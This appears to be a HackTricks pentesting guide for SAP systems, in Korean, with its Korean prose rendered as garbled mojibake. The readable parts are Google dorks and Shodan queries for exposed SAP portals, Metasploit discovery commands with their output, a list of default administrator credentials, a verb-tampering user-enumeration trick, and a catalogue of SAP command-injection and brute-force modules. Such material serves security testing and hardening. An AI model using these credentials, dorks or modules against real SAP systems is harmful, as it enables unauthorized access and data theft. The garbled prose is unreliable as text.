Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SAP์ ๋ํ ์๊ฐ
SAP๋ ๋ฐ์ดํฐ ์ฒ๋ฆฌ์์ ์์คํ ์์ฉ ํ๋ก๊ทธ๋จ ๋ฐ ์ ํ์ ์๋ฏธํฉ๋๋ค. ์ ์์ SAP๋ ERP (Enterprise Resource Planning) ์ํํธ์จ์ด์ ์ด๋ฆ์ด์ ํ์ฌ์ ์ด๋ฆ์ ๋๋ค. SAP ์์คํ ์ ๋น์ฆ๋์ค ๊ด๋ฆฌ์ ๊ฑฐ์ ๋ชจ๋ ์ธก๋ฉด์ ํฌ๊ดํ๋ ์ฌ๋ฌ ๊ฐ์ ์์ ํ ํตํฉ๋ ๋ชจ๋๋ก ๊ตฌ์ฑ๋ฉ๋๋ค.
๊ฐ SAP ์ธ์คํด์ค (๋๋ SID)๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค, ์ ํ๋ฆฌ์ผ์ด์ ๋ฐ ํ๋ ์ ํ ์ด์ ์ ์ธ ๊ฐ์ง ๊ณ์ธต์ผ๋ก ๊ตฌ์ฑ๋๋ฉฐ, ๊ฐ ํ๊ฒฝ์ ์ผ๋ฐ์ ์ผ๋ก ๋ค ๊ฐ์ ์ธ์คํด์ค: dev, test, QA ๋ฐ production์ผ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค. ๊ฐ ๊ณ์ธต์ ์ด๋ ์ ๋๊น์ง๋ ์ ์ฉ๋ ์ ์์ง๋ง, ๊ฐ์ฅ ํฐ ํจ๊ณผ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๊ณต๊ฒฉํจ์ผ๋ก์จ ์ป์ ์ ์์ต๋๋ค.
๊ฐ SAP ์ธ์คํด์ค๋ ํด๋ผ์ด์ธํธ๋ก ๋๋์ด ์์ต๋๋ค. ๊ฐ ํด๋ผ์ด์ธํธ๋ ์ฌ์ฉ์ SAP*๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ์ด๋ ์ ํ๋ฆฌ์ผ์ด์ ์ โrootโ์ ํด๋นํฉ๋๋ค. ์ด๊ธฐ ์์ฑ ์, ์ด ์ฌ์ฉ์ SAP*๋ ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ โ060719992โ๋ฅผ ๋ฐ์ต๋๋ค (์๋์ ๋ ๋ง์ ๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ๊ฐ ์์ต๋๋ค). ํ ์คํธ ๋๋ ๊ฐ๋ฐ ํ๊ฒฝ์์ ์ด๋ฌํ ๋น๋ฐ๋ฒํธ๊ฐ ์ผ๋ง๋ ์์ฃผ ๋ณ๊ฒฝ๋์ง ์๋์ง ์๋ฉด ๋๋ ๊ฒ์ ๋๋ค!
์ฌ์ฉ์ ์ด๋ฆ <SID>adm์ ์ฌ์ฉํ์ฌ ์๋ฒ์ ์ ธ์ ์ ๊ทผํด ๋ณด์ญ์์ค. ๋ธ๋ฃจํธํฌ์ฑ์ด ๋์์ด ๋ ์ ์์ง๋ง, ๊ณ์ ์ ๊ธ ๋ฉ์ปค๋์ฆ์ด ์์ ์ ์์ต๋๋ค.
๋ฐ๊ฒฌ
๋ค์ ์น์ ์ ์ฃผ๋ก https://github.com/shipcod3/mySapAdventures์์ ์ฌ์ฉ์ shipcod3์ ๋ด์ฉ์ ๋๋ค!
- ํ ์คํธ๋ฅผ ์ํ ์ ํ๋ฆฌ์ผ์ด์ ๋ฒ์ ๋๋ ํ๋ก๊ทธ๋จ ๊ฐ์๋ฅผ ํ์ธํ์ญ์์ค. SAP GUI์ ์ฐ๊ฒฐํ๊ธฐ ์ํ ํธ์คํธ ์ด๋ฆ ๋๋ ์์คํ ์ธ์คํด์ค๋ฅผ ๊ธฐ๋กํด ๋์ญ์์ค.
- OSINT (open source intelligence), Shodan ๋ฐ Google Dorks๋ฅผ ์ฌ์ฉํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์ธํฐ๋ท์ ๋ ธ์ถ๋๊ฑฐ๋ ๊ณต๊ฐ๋ ๊ฒฝ์ฐ ํ์ผ, ์๋ธ๋๋ฉ์ธ ๋ฐ ์ ์ฉํ ์ ๋ณด๋ฅผ ํ์ธํ์ญ์์ค:
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
- ์ฌ๊ธฐ http://SAP:50000/irj/portal์ ๋ชจ์ต์ ๋๋ค.

- nmap์ ์ฌ์ฉํ์ฌ ์ด๋ฆฐ ํฌํธ์ ์๋ ค์ง ์๋น์ค(sap ๋ผ์ฐํฐ, webdnypro, ์น ์๋น์ค, ์น ์๋ฒ ๋ฑ)๋ฅผ ํ์ธํฉ๋๋ค.
- ์น ์๋ฒ๊ฐ ์คํ ์ค์ธ ๊ฒฝ์ฐ URL์ ํฌ๋กค๋งํฉ๋๋ค.
- ํน์ ํฌํธ์ ์น ์๋ฒ๊ฐ ์๋ ๊ฒฝ์ฐ ๋๋ ํ ๋ฆฌ๋ฅผ ํผ์งํฉ๋๋ค(๋ฒํ ์ธํธ๋ฃจ๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค). ๊ธฐ๋ณธ SAP ICM ๊ฒฝ๋ก ๋ฐ ๊ธฐํ ํฅ๋ฏธ๋ก์ด ๋๋ ํ ๋ฆฌ๋ ํ์ผ์ ์ฐพ๊ธฐ ์ํด SecLists ํ๋ก์ ํธ์์ ์ ๊ณตํ๋ ๋ช ๊ฐ์ง ์ข์ ์๋๋ฆฌ์คํธ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt
- SAP ์ธ์คํด์ค/์๋น์ค/๊ตฌ์ฑ ์์๋ฅผ ์ด๊ฑฐํ๊ธฐ ์ํด SAP SERVICE DISCOVERY ๋ณด์กฐ Metasploit ๋ชจ๋์ ์ฌ์ฉํฉ๋๋ค:
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
๋๊บผ์ด ํด๋ผ์ด์ธํธ / SAP GUI ํ ์คํธ
SAP GUI์ ์ฐ๊ฒฐํ๋ ๋ช
๋ น์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
sapgui <sap server hostname> <system number>
- ๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช ํ์ธ (Bugcrowd์ ์ทจ์ฝ์ ํ๊ฐ ๋ถ๋ฅ์์, ์ด๋ P1 -> ์๋ฒ ๋ณด์ ์๋ชป ๊ตฌ์ฑ | ๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช ์ฌ์ฉ | ํ๋ก๋์ ์๋ฒ)์ผ๋ก ๊ฐ์ฃผ๋ฉ๋๋ค:
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
- Wireshark๋ฅผ ์คํํ ํ, SSL ์์ด ์๊ฒฉ ์ฆ๋ช ์ ์ ์กํ๋ ํด๋ผ์ด์ธํธ (SAP GUI)์ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ์ฌ ์ธ์ฆํฉ๋๋ค. SAP DIAG ํ๋กํ ์ฝ์์ ์ฌ์ฉ๋๋ ์ฃผ์ ํค๋๋ฅผ ๋ถํดํ ์ ์๋ ๋ ๊ฐ์ง ์๋ ค์ง Wireshark ํ๋ฌ๊ทธ์ธ์ด ์์ต๋๋ค: SecureAuth Labs SAP ๋ถํด ํ๋ฌ๊ทธ์ธ๊ณผ Positive Research Center์ SAP DIAG ํ๋ฌ๊ทธ์ธ์ ๋๋ค.
- ๋ฎ์ ๊ถํ ์ฌ์ฉ์๋ฅผ ์ํ ์ผ๋ถ SAP ํธ๋์ญ์ ์ฝ๋ (tcodes)๋ฅผ ์ฌ์ฉํ์ฌ ๊ถํ ์์น์ ํ์ธํฉ๋๋ค:
- SU01 - ์ฌ์ฉ์ ์์ฑ ๋ฐ ์ ์ง ๊ด๋ฆฌ
- SU01D - ์ฌ์ฉ์ ํ์
- SU10 - ๋๋ ์ ์ง ๊ด๋ฆฌ
- SU02 - ํ๋กํ ์๋ ์์ฑ
- SM19 - ๋ณด์ ๊ฐ์ฌ - ๊ตฌ์ฑ
- SE84 - SAP R/3 ๊ถํ์ ์ํ ์ ๋ณด ์์คํ
- ํด๋ผ์ด์ธํธ์์ ์์คํ ๋ช ๋ น์ ์คํํ๊ฑฐ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์๋์ง ํ์ธํฉ๋๋ค.
- BAPI Explorer์์ XSS๋ฅผ ์ํํ ์ ์๋์ง ํ์ธํฉ๋๋ค.
์น ์ธํฐํ์ด์ค ํ ์คํธ
- URL์ ํฌ๋กค๋งํฉ๋๋ค (๋ฐ๊ฒฌ ๋จ๊ณ ์ฐธ์กฐ).
- ๋ฐ๊ฒฌ ๋จ๊ณ์ฒ๋ผ URL์ ํผ์งํฉ๋๋ค. http://SAP:50000/index.html์ ๋ชจ์ต์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:

- ์ผ๋ฐ์ ์ธ ์น ์ทจ์ฝ์ (OWASP Top 10 ์ฐธ์กฐ)์ ํ์ธํฉ๋๋ค. ์ผ๋ถ ์ฅ์์๋ XSS, RCE, XXE ๋ฑ์ ์ทจ์ฝ์ ์ด ์์ต๋๋ค.
- ์น ์ทจ์ฝ์ ํ ์คํธ๋ฅผ ์ํด Jason Haddix์ โThe Bug Hunters Methodologyโ๋ฅผ ํ์ธํฉ๋๋ค.
- ๋์ฌ ๋ณ์กฐ๋ฅผ ํตํ ์ธ์ฆ ์ฐํ? ์๋ง๋ :)
http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#๋ฅผ ์ด๊ณ โChooseโ ๋ฒํผ์ ํด๋ฆญํ ํ ์ด๋ฆฐ ์ฐฝ์์ โSearchโ๋ฅผ ๋๋ฆ ๋๋ค. SAP ์ฌ์ฉ์ ๋ชฉ๋ก์ ๋ณผ ์ ์์ด์ผ ํฉ๋๋ค (์ทจ์ฝ์ ์ฐธ์กฐ: ERPSCAN-16-010)- ์๊ฒฉ ์ฆ๋ช ์ด HTTP๋ฅผ ํตํด ์ ์ถ๋์๋์? ๊ทธ๋ ๋ค๋ฉด Bugcrowd์ Vulnerability Rating Taxonomy์ ๋ฐ๋ผ P3๋ก ๊ฐ์ฃผ๋ฉ๋๋ค: ์์๋ ์ธ์ฆ ๋ฐ ์ธ์ ๊ด๋ฆฌ | HTTP๋ฅผ ํตํ ์ฝํ ๋ก๊ทธ์ธ ๊ธฐ๋ฅ. ํํธ: http://SAP:50000/startPage ๋๋ ๋ก๊ทธ์ธ ํฌํธ๋ ํ์ธํด ๋ณด์ธ์ :)

- ๊ฐ๋ฅํ ๋๋ ํ ๋ฆฌ ๋ชฉ๋ก ๋๋ ์ธ์ฆ ์ฐํ๋ฅผ ์ํด
/irj/go/km/navigation/๋ฅผ ์๋ํฉ๋๋ค. - http://SAP/sap/public/info์๋ ์ ์ฉํ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์ต๋๋ค:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
๊ตฌ์ฑ ๋งค๊ฐ๋ณ์
ํํ ์คํธ ์ค์ ์ฌ๋ฐ๋ฅธ ๋ก๊ทธ์ธ ์ธ๋ถ์ ๋ณด๊ฐ ์๊ฑฐ๋ ๊ธฐ๋ณธ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ์ฌ SAP GUI์ ๋ก๊ทธ์ธํ ๊ฒฝ์ฐ ๋งค๊ฐ๋ณ์ ๊ฐ์ ํ์ธํ ์ ์์ต๋๋ค. ๋ง์ ๊ธฐ๋ณธ ๋ฐ ์ฌ์ฉ์ ์ ์ ๊ตฌ์ฑ ๋งค๊ฐ๋ณ์ ๊ฐ์ ์ทจ์ฝ์ ์ผ๋ก ๊ฐ์ฃผ๋ฉ๋๋ค.
๋งค๊ฐ๋ณ์ ๊ฐ์ ์๋ ๋ฐ ์๋์ผ๋ก ํ์ธํ ์ ์์ผ๋ฉฐ, ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค (์: SAP Parameter Validator).
์๋ ๋งค๊ฐ๋ณ์ ํ์ธ
ํธ๋์ญ์
์ฝ๋ RSPFPAR๋ก ์ด๋ํ์ฌ ๋ค์ํ ๋งค๊ฐ๋ณ์๋ฅผ ์ฟผ๋ฆฌํ๊ณ ํด๋น ๊ฐ์ ์กฐํํ ์ ์์ต๋๋ค.
์๋ ํ์๋ ์ ์๋ ๋งค๊ฐ๋ณ์์ ๊ตฌ๋ถ๋๋ ์กฐ๊ฑด์ด ํฌํจ๋์ด ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, gw/reg_no_conn_info๊ฐ 255 ๋ฏธ๋ง(<255)์ผ๋ก ์ค์ ๋ ๊ฒฝ์ฐ ์ํ์ผ๋ก ๊ฐ์ฃผํด์ผ ํฉ๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก, icm/security_log๊ฐ 2(2)์ ๊ฐ์ผ๋ฉด ๊ฐ๋ฅํ ์ํ์ด ๋ฉ๋๋ค.
| ๋งค๊ฐ๋ณ์ | ์ ์ฝ ์กฐ๊ฑด | ์ค๋ช |
|---|---|---|
auth/object_disabling_active | Y | ๊ฐ์ฒด ๋นํ์ฑํ๊ฐ ํ์ฑํ๋์ด ์๋์ง ์ฌ๋ถ๋ฅผ ๋ํ๋ ๋๋ค. |
auth/rfc_authority_check | <2 | RFC์ ๋ํ ๊ถํ ๊ฒ์ฌ ์์ค์ ์ค์ ํฉ๋๋ค. |
auth/no_check_in_some_cases | Y | ์ผ๋ถ ๊ฒฝ์ฐ์ ๊ฒ์ฌ๊ฐ ์ฐํ๋๋์ง ์ฌ๋ถ๋ฅผ ์ง์ ํฉ๋๋ค. |
bdc/bdel_auth_check | FALSE | BDC์์ ๊ถํ ๊ฒ์ฌ๊ฐ ์ํ๋๋์ง ์ฌ๋ถ๋ฅผ ๊ฒฐ์ ํฉ๋๋ค. |
gw/reg_no_conn_info | <255 | ๋ฑ๋ก ๋ฒํธ ์ฐ๊ฒฐ ์ ๋ณด์ ๋ฌธ์ ์๋ฅผ ์ ํํฉ๋๋ค. |
icm/security_log | 2 | ICM(์ธํฐ๋ท ํต์ ๊ด๋ฆฌ์)์ ๋ณด์ ๋ก๊ทธ ์์ค์ ์ ์ํฉ๋๋ค. |
icm/server_port_0 | Display | ICM์ ์๋ฒ ํฌํธ(ํฌํธ 0)๋ฅผ ์ง์ ํฉ๋๋ค. |
icm/server_port_1 | Display | ICM์ ์๋ฒ ํฌํธ(ํฌํธ 1)๋ฅผ ์ง์ ํฉ๋๋ค. |
icm/server_port_2 | Display | ICM์ ์๋ฒ ํฌํธ(ํฌํธ 2)๋ฅผ ์ง์ ํฉ๋๋ค. |
login/password_compliance_to_current_policy | 0 | ํ์ฌ ์ ์ฑ ์ ๋ํ ๋น๋ฐ๋ฒํธ ์ค์๋ฅผ ์ํํฉ๋๋ค. |
login/no_automatic_user_sapstar | 0 | ์๋ ์ฌ์ฉ์ SAPSTAR ํ ๋น์ ๋นํ์ฑํํฉ๋๋ค. |
login/min_password_specials | 0 | ๋น๋ฐ๋ฒํธ์ ํ์ํ ์ต์ ํน์ ๋ฌธ์ ์์ ๋๋ค. |
login/min_password_lng | <8 | ๋น๋ฐ๋ฒํธ์ ํ์ํ ์ต์ ๊ธธ์ด์ ๋๋ค. |
login/min_password_lowercase | 0 | ๋น๋ฐ๋ฒํธ์ ํ์ํ ์ต์ ์๋ฌธ์ ์์ ๋๋ค. |
login/min_password_uppercase | 0 | ๋น๋ฐ๋ฒํธ์ ํ์ํ ์ต์ ๋๋ฌธ์ ์์ ๋๋ค. |
login/min_password_digits | 0 | ๋น๋ฐ๋ฒํธ์ ํ์ํ ์ต์ ์ซ์ ์์ ๋๋ค. |
login/min_password_letters | 1 | ๋น๋ฐ๋ฒํธ์ ํ์ํ ์ต์ ๋ฌธ์ ์์ ๋๋ค. |
login/fails_to_user_lock | <5 | ์ฌ์ฉ์ ๊ณ์ ์ ์ ๊ทธ๊ธฐ ์ ์ ์คํจํ ๋ก๊ทธ์ธ ์๋ ํ์์ ๋๋ค. |
login/password_expiration_time | >90 | ๋น๋ฐ๋ฒํธ ๋ง๋ฃ ์๊ฐ(์ผ)์ ๋๋ค. |
login/password_max_idle_initial | <14 | ๋น๋ฐ๋ฒํธ ์ฌ์ ๋ ฅ์ด ํ์ํ๊ธฐ ์ ์ ์ต๋ ์ ํด ์๊ฐ(๋ถ)์ ๋๋ค(์ด๊ธฐ). |
login/password_max_idle_productive | <180 | ๋น๋ฐ๋ฒํธ ์ฌ์ ๋ ฅ์ด ํ์ํ๊ธฐ ์ ์ ์ต๋ ์ ํด ์๊ฐ(๋ถ)์ ๋๋ค(์์ฐ์ ). |
login/password_downwards_compatibility | 0 | ๋น๋ฐ๋ฒํธ์ ๋ํ ํ์ ํธํ์ฑ์ด ํ์ฑํ๋์ด ์๋์ง ์ฌ๋ถ๋ฅผ ์ง์ ํฉ๋๋ค. |
rfc/reject_expired_passwd | 0 | RFC(์๊ฒฉ ํจ์ ํธ์ถ)์ ๋ํด ๋ง๋ฃ๋ ๋น๋ฐ๋ฒํธ๊ฐ ๊ฑฐ๋ถ๋๋์ง ์ฌ๋ถ๋ฅผ ๊ฒฐ์ ํฉ๋๋ค. |
rsau/enable | 0 | RS AU(๊ถํ) ๊ฒ์ฌ๋ฅผ ํ์ฑํํ๊ฑฐ๋ ๋นํ์ฑํํฉ๋๋ค. |
rdisp/gui_auto_logout | <5 | GUI ์ธ์ ์ ์๋ ๋ก๊ทธ์์ ์ ์๊ฐ(๋ถ)์ ์ง์ ํฉ๋๋ค. |
service/protectedwebmethods | SDEFAULT | ๋ณดํธ๋ ์น ๋ฉ์๋์ ๋ํ ๊ธฐ๋ณธ ์ค์ ์ ์ง์ ํฉ๋๋ค. |
snc/enable | 0 | ๋ณด์ ๋คํธ์ํฌ ํต์ (SNC)์ ํ์ฑํํ๊ฑฐ๋ ๋นํ์ฑํํฉ๋๋ค. |
ucon/rfc/active | 0 | UCON(ํตํฉ ์ฐ๊ฒฐ) RFC๋ฅผ ํ์ฑํํ๊ฑฐ๋ ๋นํ์ฑํํฉ๋๋ค. |
๋งค๊ฐ๋ณ์ ํ์ธ์ ์ํ ์คํฌ๋ฆฝํธ
๋งค๊ฐ๋ณ์ ์๊ฐ ๋ง๊ธฐ ๋๋ฌธ์ ๋ชจ๋ ๋งค๊ฐ๋ณ์๋ฅผ .XML ํ์ผ๋ก ๋ด๋ณด๋ด๊ณ ์คํฌ๋ฆฝํธ SAPPV (SAP Parameter Validator)๋ฅผ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, ์ด ์คํฌ๋ฆฝํธ๋ ์์์ ์ธ๊ธํ ๋ชจ๋ ๋งค๊ฐ๋ณ์๋ฅผ ํ์ธํ๊ณ ์ ์ ํ ๊ตฌ๋ถ์ผ๋ก ๊ฐ์ ์ถ๋ ฅํฉ๋๋ค.
./SAPPV.sh EXPORT.XML
Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"
Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"
Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"
Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"
[...]
๊ณต๊ฒฉ!
- Windows 2000๊ณผ ๊ฐ์ ์ค๋๋ ์๋ฒ๋ ๊ธฐ์ ์์ ์คํ๋๋์ง ํ์ธํ์ญ์์ค.
- ๊ฐ๋ฅํ ์ต์คํ๋ก์/๊ณต๊ฒฉ์ ๊ณํํ์ญ์์ค. SAP ๋ฐ๊ฒฌ์ ์ํ ๋ง์ Metasploit ๋ชจ๋(๋ณด์กฐ ๋ชจ๋)๊ณผ ์ต์คํ๋ก์์ด ์์ต๋๋ค:
msf > search sap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
